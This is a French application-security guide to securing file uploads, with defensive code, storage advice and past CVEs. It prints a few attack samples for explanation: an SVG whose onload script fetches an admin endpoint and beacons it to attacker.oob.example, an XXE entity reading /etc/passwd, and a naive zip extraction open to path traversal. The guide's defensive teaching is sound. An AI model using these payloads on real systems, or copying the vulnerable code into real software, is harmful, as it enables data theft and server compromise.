OWASP & AppSec

Sécurité des uploads de fichiers 2026 : guide complet

Sécurité uploads 2026 : classes de vulnérabilités (RCE, path traversal, XSS SVG, zip bomb, XXE), checklist défensive par couche, stockage S3, CVE réels.

Naim Aouaichia
14 min de lecture
  • Upload
  • Sécurité applicative
  • OWASP A04
  • CWE-434
  • SVG
  • XXE
  • Zip Slip
  • ClamAV

La sécurité des uploads de fichiers est l'un des chantiers AppSec les plus sous-estimés en 2026. Un formulaire qui accepte un fichier expose immédiatement une dizaine de classes de vulnérabilités simultanées : exécution de code à distance via web shell (CWE-434), path traversal via zip slip (CWE-22), XSS persistant via SVG (CWE-79), déni de service par zip bomb (CWE-400), XXE via documents Office (CWE-611), SSRF via OEmbed ou génération de PDF, fuite de métadonnées EXIF, pollution de stockage. Aucune défense unique ne couvre l'ensemble : la robustesse vient d'un empilement de contrôles coordonnés — validation magic bytes, allowlist stricte, re-encodage, scan antivirus, stockage hors webroot, domaine sandbox pour le service, headers de réponse durcis. Cet article détaille les classes de vulnérabilités, les défenses couche par couche, les spécificités par type de fichier (images, Office, PDF, archives), les options de stockage (S3, GCS, filesystem) et trois incidents historiques majeurs qui illustrent l'impact.

Pourquoi les uploads restent critiques en 2026

Trois évolutions convergent pour maintenir l'upload comme une surface d'attaque majeure.

Surface étendue côté cloud : les applications modernes acceptent des uploads sur de multiples canaux (formulaire web, API REST, API GraphQL, client mobile, webhooks tiers). Chaque canal réintroduit potentiellement les mêmes classes de vulnérabilités.

Complexité des formats de fichiers : les formats courants (DOCX, XLSX, PDF, SVG, PNG) sont en réalité des containers complexes supportant scripts embarqués, références externes, métadonnées, entités XML. Un attaquant sophistiqué crée des fichiers polyglottes (PDF+JPG valides simultanément) ou malformés pour contourner les validateurs.

Démocratisation du cloud object storage : S3, GCS, Azure Blob offrent une sécurité par défaut meilleure que le filesystem local, mais les misconfigurations (bucket public, signed URL sans expiration, upload direct client sans validation) ont créé de nouvelles classes d'incidents.

Classes de vulnérabilités upload

Sept classes principales, souvent chaînables en escalade.

1. RCE via upload de web shell

L'attaquant uploade un fichier exécutable serveur (PHP, JSP, ASPX) dans un répertoire servi et interprété. L'accès ultérieur à l'URL déclenche l'exécution du code côté serveur.

Défense primaire : rendre impossible l'exécution côté serveur sur le répertoire de stockage (pas d'interpréteur, pas de handler), servir les fichiers via un endpoint applicatif dédié.

2. Path traversal et zip slip

L'attaquant fournit un nom de fichier ou un chemin d'entrée d'archive contenant ../ qui écrit hors du répertoire cible, écrasant potentiellement des fichiers système ou applicatifs.

# Python vulnérable : extraction naïve d'une archive
import zipfile
 
def extract_zip(zip_path, destination):
    with zipfile.ZipFile(zip_path) as z:
        z.extractall(destination)  # vulnérable au zip slip
 
# Défense : valider chaque chemin après normalisation
import os
 
def safe_extract(zip_path, destination):
    destination = os.path.realpath(destination)
    with zipfile.ZipFile(zip_path) as z:
        for member in z.infolist():
            target = os.path.realpath(os.path.join(destination, member.filename))
            if not target.startswith(destination + os.sep):
                raise ValueError(f"Tentative de zip slip détectée: {member.filename}")
            z.extract(member, destination)

3. XSS stored via SVG

Un fichier SVG uploadé et servi avec Content-Type image/svg+xml exécute du JavaScript dans le contexte du domaine servant l'image.

<!-- SVG piégé : le script s'exécute au chargement -->
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('/api/admin/users').then(r=>r.text()).then(d=>navigator.sendBeacon('https://attacker.oob.example',d))">
  <circle cx="50" cy="50" r="40" />
</svg>

4. XXE via documents Office et XML

Les formats DOCX, XLSX, PPTX sont des archives ZIP contenant des XML. Un parser XML mal configuré qui expand les entités externes permet l'exfiltration de fichiers serveur ou le SSRF.

<!-- XXE classique dans content.xml -->
<!DOCTYPE r [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<r>&xxe;</r>

5. SSRF via traitement serveur

Un upload traité côté serveur (OEmbed, génération de PDF, rendu preview, ingestion d'URL dans un document) peut initier des requêtes sortantes arbitraires. Classique sur les endpoints qui acceptent une URL ou un document référençant des ressources externes.

6. DoS algorithmique (zip bomb, image bomb)

Un fichier compressé ou crafted explose en mémoire ou disque à l'extraction. Exemple canonique : archive 42.zip qui fait 42 kilooctets et décompresse en 4,5 pétaoctets.

7. Fuite de métadonnées

Les fichiers image (JPEG, TIFF) contiennent des métadonnées EXIF (géolocalisation GPS, modèle appareil, propriétaire), les PDF contiennent l'auteur et les traces d'édition. Un upload public peut exposer ces informations sensibles.

Checklist défensive par couche

La défense robuste repose sur l'empilement de contrôles. Aucun contrôle unique n'est suffisant.

CoucheContrôleExemple technique
Client (HTML)Type et taille en attribut<input accept="image/png,image/jpeg" >
Reverse proxyTaille maxclient_max_body_size 10m; (nginx)
API gatewayRate limiting10 uploads par minute par token
Validation applicativeMagic byteslibmagic, file-type (Node), h2non/filetype (Go)
Validation applicativeAllowlist typeExemple : PNG, JPEG, PDF uniquement
Validation applicativeTaille applicativePlus stricte que le proxy (ex. 5 MB pour image avatar)
Validation applicativeContent-Type serveurRecalculé depuis magic bytes, pas depuis header client
Re-encodageImagePillow ou Sharp qui re-encode JPEG en JPEG, retire EXIF
SanitisationSVGsvg-sanitizer, svg-sanitize, DOMPurify côté build
Scan malwareAntivirusClamAV, VirusTotal API, AWS GuardDuty Malware for S3
RenommageUUID serveurcrypto.randomUUID() + extension validée
StockageHors webrootS3 avec signed URL ou disque hors document root
ServageDomaine sandboxfiles.example.test distinct de l'app
ServageHeaders durcisContent-Disposition attachment, CSP restrictive
ServageContent-Type forcéPas de sniffing MIME côté navigateur

Validation des magic bytes

La règle d'or : ne jamais faire confiance à l'extension ni au Content-Type déclarés par le client. La détection se fait sur les premiers octets du fichier via une bibliothèque spécialisée.

# Python avec python-magic (libmagic binding)
import magic
 
ALLOWED_MIME = {"image/jpeg", "image/png", "application/pdf"}
 
def validate_upload(file_bytes: bytes, declared_filename: str) -> str:
    detected_mime = magic.from_buffer(file_bytes, mime=True)
    if detected_mime not in ALLOWED_MIME:
        raise ValueError(f"Type non autorisé : {detected_mime}")
 
    ext_map = {
        "image/jpeg": ".jpg",
        "image/png": ".png",
        "application/pdf": ".pdf",
    }
    return ext_map[detected_mime]
// Node.js avec file-type
import { fileTypeFromBuffer } from 'file-type';
 
const ALLOWED_MIME = new Set(['image/jpeg', 'image/png', 'application/pdf']);
 
export async function validateUpload(buffer) {
  const type = await fileTypeFromBuffer(buffer);
  if (!type || !ALLOWED_MIME.has(type.mime)) {
    throw new Error(`Type non autorisé : ${type?.mime ?? 'inconnu'}`);
  }
  return type;
}
// Go avec h2non/filetype
package main
 
import (
    "github.com/h2non/filetype"
    "errors"
)
 
var allowedMIME = map[string]bool{
    "image/jpeg":      true,
    "image/png":       true,
    "application/pdf": true,
}
 
func validateUpload(buf []byte) (string, error) {
    kind, err := filetype.Match(buf)
    if err != nil || kind == filetype.Unknown {
        return "", errors.New("type inconnu")
    }
    if !allowedMIME[kind.MIME.Value] {
        return "", errors.New("type non autorisé : " + kind.MIME.Value)
    }
    return kind.MIME.Value, nil
}

Re-encodage des images

Le re-encodage est la défense la plus robuste contre les images crafted et les polyglottes. Une image re-encodée est une image dont le contenu a été parsé puis régénéré par une bibliothèque connue, détruisant tout contenu non-image parasité.

# Python avec Pillow : re-encodage JPEG avec suppression EXIF
from PIL import Image
from io import BytesIO
 
def reencode_image(input_bytes: bytes, max_dim: int = 2048) -> bytes:
    img = Image.open(BytesIO(input_bytes))
    img.load()
    img.thumbnail((max_dim, max_dim))
    output = BytesIO()
    img.convert("RGB").save(output, format="JPEG", quality=85, optimize=True)
    return output.getvalue()
// Node.js avec Sharp : re-encodage + strip metadata
import sharp from 'sharp';
 
export async function reencodeImage(buffer, { maxWidth = 2048 } = {}) {
  return sharp(buffer)
    .resize({ width: maxWidth, withoutEnlargement: true })
    .jpeg({ quality: 85, mozjpeg: true })
    .withMetadata({ exif: {} })
    .toBuffer();
}

Sanitisation SVG

Si le SVG est vraiment nécessaire (très rare), sanitiser systématiquement via une bibliothèque dédiée qui supprime scripts, event handlers, et references externes.

// Node.js avec @mattkrick/sanitize-svg
import sanitizeSvg from '@mattkrick/sanitize-svg';
 
export async function sanitizeUserSvg(svgString) {
  const blob = new Blob([svgString], { type: 'image/svg+xml' });
  const cleaned = await sanitizeSvg(blob);
  if (!cleaned) throw new Error('SVG rejeté (contenu dangereux)');
  return cleaned;
}

Scan antivirus

Intégration ClamAV via daemon dans le pipeline.

# Python avec clamd (ClamAV daemon)
import clamd
 
cd = clamd.ClamdUnixSocket()
 
def scan_upload(file_bytes: bytes) -> None:
    result = cd.instream(BytesIO(file_bytes))
    status, signature = result.get('stream', ('ERROR', None))
    if status != 'OK':
        raise ValueError(f"Malware détecté : {signature}")

Pour les déploiements cloud-native, AWS GuardDuty Malware Protection for S3 (GA avril 2024) et Azure Defender for Storage scannent automatiquement les objets uploadés sans intégration applicative.

Spécificités par type de fichier

Chaque famille de formats a ses pièges dominants.

Images (JPEG, PNG, GIF, WebP, SVG)

  • JPEG/PNG/WebP : re-encodage systématique via Pillow, Sharp ou ImageMagick correctement configuré. Politique ImageMagick restrictive obligatoire (désactiver delegate readers non nécessaires).
  • SVG : à refuser par défaut. Si accepté, sanitisation + domaine sandbox + Content-Disposition attachment.
  • GIF animés : limite stricte du nombre de frames (DoS via gif avec 50 000 frames).
<!-- ImageMagick policy.xml restrictive (référence 2026) -->
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
  <policy domain="path" rights="none" pattern="@*" />
  <policy domain="resource" name="memory" value="256MiB" />
  <policy domain="resource" name="time" value="10" />
</policymap>

Documents Office (DOCX, XLSX, PPTX, ODT)

Ces formats sont des archives ZIP contenant des XML. Deux risques principaux : zip slip à l'extraction interne, XXE via parsers XML mal configurés.

  • Utiliser des bibliothèques modernes avec XXE désactivé par défaut (Apache POI récent, openpyxl récent, python-docx).
  • Ne jamais exécuter les macros. Si nécessaire, sandboxing fort.
  • Limite de taille archive, limite de ratio de décompression.

PDF

Format complexe supportant JavaScript, formulaires, liens externes, multimédia embarqué.

  • Re-rendering via un outil type pdf2pdf ou ghostscript (attention aux propres CVE ghostscript), ou conversion en images pour affichage.
  • Strip JavaScript via pdf-lib ou pikepdf.
  • Désactivation JavaScript dans les viewers client (PDF.js configurable).
# Python avec pikepdf : strip JavaScript et actions
import pikepdf
 
def clean_pdf(input_path: str, output_path: str) -> None:
    with pikepdf.open(input_path) as pdf:
        if "/Names" in pdf.Root and "/JavaScript" in pdf.Root["/Names"]:
            del pdf.Root["/Names"]["/JavaScript"]
        if "/OpenAction" in pdf.Root:
            del pdf.Root["/OpenAction"]
        for page in pdf.pages:
            if "/AA" in page:
                del page["/AA"]
        pdf.save(output_path)

Archives (ZIP, TAR, RAR, 7z)

  • Limite de ratio de décompression (refuser supérieur à 100:1).
  • Limite de taille totale extraite.
  • Validation du chemin de chaque entrée après normalisation (défense zip slip).
  • Refus des symlinks internes (format TAR en particulier).

CSV et formats tabulaires

  • CSV injection (formules injectées dans cellules commençant par =, +, -, @). Impact limité mais réel sur Excel/LibreOffice ouvrant ensuite le CSV.
  • Préfixer chaque cellule commençant par caractère dangereux avec apostrophe ou tab.

Stockage : où et comment

Trois options principales, avec leurs pièges.

Object storage managé (S3, GCS, Azure Blob)

Recommandé pour la majorité des cas en 2026.

  • Upload via signed URL courte durée (5 à 15 minutes) pour éviter de router le flux via l'application.
  • Bucket privé par défaut, accès via signed URL de lecture temporaire.
  • SSE-KMS pour chiffrement at rest.
  • Politique de lifecycle automatique (suppression après délai).
  • Malware Protection activé (AWS GuardDuty for S3, Azure Defender).
  • Object Lock si rétention immuable nécessaire (compliance).

Filesystem local

Acceptable pour les déploiements simples, requiert rigueur supplémentaire.

  • Répertoire hors webroot, servi uniquement via endpoint applicatif.
  • Permissions strictes (0640, propriétaire app, groupe app).
  • Pas d'interpréteur dans le path (pas de PHP, CGI, Server Side Includes actifs).
  • try_files nginx ou équivalent pour refuser le servage direct.
# nginx : configuration servage statique sécurisée
location /uploads/ {
    alias /var/app/storage/;
    autoindex off;
    add_header Content-Disposition 'attachment' always;
    add_header X-Content-Type-Options nosniff always;
    add_header Content-Security-Policy "default-src 'none'; sandbox" always;
 
    # Bloc toute extension interprétable
    location ~* \.(php|phtml|py|pl|cgi|rb|jsp|asp|aspx|sh)$ {
        return 403;
    }
}

CDN en frontage

Les CDN (Cloudflare, CloudFront, Fastly) ajoutent une couche utile : WAF intégré, règles managed OWASP, scan de malware en edge sur certaines offres. Configurer le cache pour que les signed URLs ne soient jamais mises en cache (Cache-Control: private).

Domaine sandbox pour le servage

Une des défenses les plus sous-utilisées. Servir les contenus uploadés sur un domaine distinct du domaine applicatif principal casse les attaques cross-origin et les XSS stored.

Exemple : app.example.com pour l'application, userfiles.example-cdn.com pour les uploads. Un SVG piégé exécuté dans userfiles.example-cdn.com ne peut pas lire les cookies de session de app.example.com (même origin policy).

Configuration type :

  • Domaine différent, idéalement TLD différent (impossible cookie bleeding).
  • Content-Security-Policy restrictive sur le domaine sandbox.
  • X-Content-Type-Options: nosniff pour empêcher le MIME sniffing.
  • Content-Disposition: attachment pour forcer le download quand approprié.

Incidents historiques

Trois cas documentés qui illustrent l'impact business.

Apache Struts — Equifax 2017

CVE-2017-5638, score CVSS 10.0. Une injection via header Content-Type dans le parser Jakarta Multipart d'Apache Struts. Exploitée par des attaquants qui ont compromis Equifax en mai 2017, exposant les données personnelles de 147,9 millions de personnes. Coût total pour Equifax : plus de 1,4 milliard $ en règlements, amendes et coûts de remédiation.

ImageMagick — ImageTragick 2016

CVE-2016-3714, score CVSS 9.8. Une série de vulnérabilités dans les delegates ImageMagick permettant l'exécution de commandes via des fichiers image crafted. Nombreuses plateformes d'hébergement images et CMS affectés. La leçon durable : politique ImageMagick restrictive par défaut, et re-encodage via bibliothèque en pur Python ou Node (Pillow, Sharp) plutôt que via ImageMagick CLI.

Zip Slip — disclosure 2018

Snyk et VUSec ont publié en juin 2018 une disclosure coordonnée affectant plus de 20 000 projets open source, dont des bibliothèques Java, Ruby, Python, Go. De nombreux patches ont été déployés, mais des forks non maintenus et des déploiements bloqués sur versions anciennes restent vulnérables en 2026. Tout code qui extrait des archives sans valider les chemins reste à risque.

Points clés à retenir

  • La défense upload robuste repose sur l'empilement de contrôles : magic bytes, allowlist, re-encodage, sanitisation, scan antivirus, stockage hors webroot, domaine sandbox, headers durcis. Aucun contrôle unique ne suffit.
  • L'extension et le Content-Type fournis par le client ne sont jamais fiables. La détection se fait sur les magic bytes via libmagic, file-type (Node), h2non/filetype (Go).
  • Les formats à haut risque (SVG, DOCX, PDF, archives) nécessitent des traitements spécifiques : sanitisation XML, re-rendering, limites de ratio de décompression, validation des chemins internes.
  • Le stockage objet managé (S3, GCS, Azure Blob) avec signed URL courte durée et Malware Protection activé est le choix recommandé en 2026.
  • Servir les uploads sur un domaine sandbox distinct du domaine applicatif casse une large partie des chaînes d'exploitation post-upload.

Pour aller plus loin

Questions fréquentes

  • Suffit-il de filtrer les extensions de fichier ?
    Non, filtrer uniquement les extensions est la défense la plus faible et la plus contournée. Le navigateur ou le client fournissent l'extension et le Content-Type, tous deux contrôlés par l'attaquant. La défense robuste combine trois contrôles : validation des magic bytes (signature binaire des premiers octets via libmagic ou file-type), vérification du Content-Type par le serveur après détection des magic bytes, et allowlist stricte des types acceptés. L'extension n'intervient qu'en dernier et doit matcher le type détecté, pas le type déclaré.
  • Un upload SVG est-il toujours dangereux ?
    Oui, et à traiter avec la même méfiance qu'un script HTML uploadé. Un fichier SVG est du XML qui peut contenir du JavaScript exécuté dans le contexte du domaine servant le fichier, des références externes (xlink:href, image href vers IMDS cloud pour SSRF), des entités XML pour XXE. Les défenses obligatoires : refus par défaut dans les allowlists, si réellement nécessaire, sanitisation via une librairie dédiée (DOMPurify côté client, svg-sanitizer côté PHP, svg-sanitize pour Node), stockage et service sur un domaine sandbox distinct, Content-Disposition attachment pour forcer le téléchargement.
  • Comment protéger contre les zip bombs et le zip slip ?
    Zip bomb : archive compressée qui décompresse en plusieurs gigaoctets, épuisant disque ou mémoire. Défense : limiter le ratio de décompression (refuser tout ratio supérieur à 100:1), limiter la taille totale extraite à un multiple de la taille de l'archive, streamer l'extraction pour arrêter à un seuil. Zip slip : archive contenant des chemins relatifs type `../../etc/passwd` qui écrivent hors répertoire cible. Défense : valider que chaque entrée après normalisation reste dans le répertoire d'extraction. Snyk a publié en 2018 une liste de plus de 20 000 libraires open source vulnérables au zip slip, beaucoup sont patchées mais des forks non maintenus persistent.
  • Faut-il scanner chaque upload avec un antivirus ?
    Oui pour tout upload accepté et servi à d'autres utilisateurs, non systématiquement pour les uploads internes jetables. En 2026, le standard est ClamAV pour les pipelines gratuits, Windows Defender ATP ou VirusTotal API pour plus d'efficacité, AWS GuardDuty Malware Protection for S3 et Azure Defender for Storage pour les déploiements cloud-native. Le scan seul ne suffit pas : un antivirus rate 20 à 40 % des malwares ciblés et ne détecte pas les web shells obscurcis. Le scan est un filet, pas la défense primaire.
  • Où stocker les fichiers uploadés : filesystem local, S3, ou autre ?
    Le stockage objet (S3, GCS, Azure Blob) est préférable au filesystem local pour trois raisons. Première : ces services empêchent l'exécution de script côté serveur sur le contenu stocké (pas de PHP, CGI, ASP interprété). Deuxième : le découplage réseau rend les upload de web shell inutilisables pour RCE sur le serveur applicatif. Troisième : les politiques d'accès granulaires (bucket policies, signed URLs, SSE-KMS) sont plus robustes que les permissions filesystem. Si stockage local inévitable, placer hors webroot, dans un répertoire sans droit d'exécution et servi via endpoint applicatif dédié.
  • Comment protéger une API d'upload contre les DoS applicatifs ?
    Trois couches. Couche réseau : limite de taille au niveau reverse proxy ou gateway (nginx client_max_body_size, AWS API Gateway 10 MB par défaut, Cloudflare 100 MB en plan gratuit). Couche applicative : rate limiting par IP ou token (10 uploads par minute par utilisateur maximum), timeouts stricts (upload maximal 60 secondes). Couche ressource : quotas de stockage par utilisateur ou tenant, cleanup automatique des fichiers temporaires. Ces couches empêchent à la fois le DoS volumique et le DoS algorithmique (zip bomb, images piégées qui explosent en RAM au re-encodage).

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.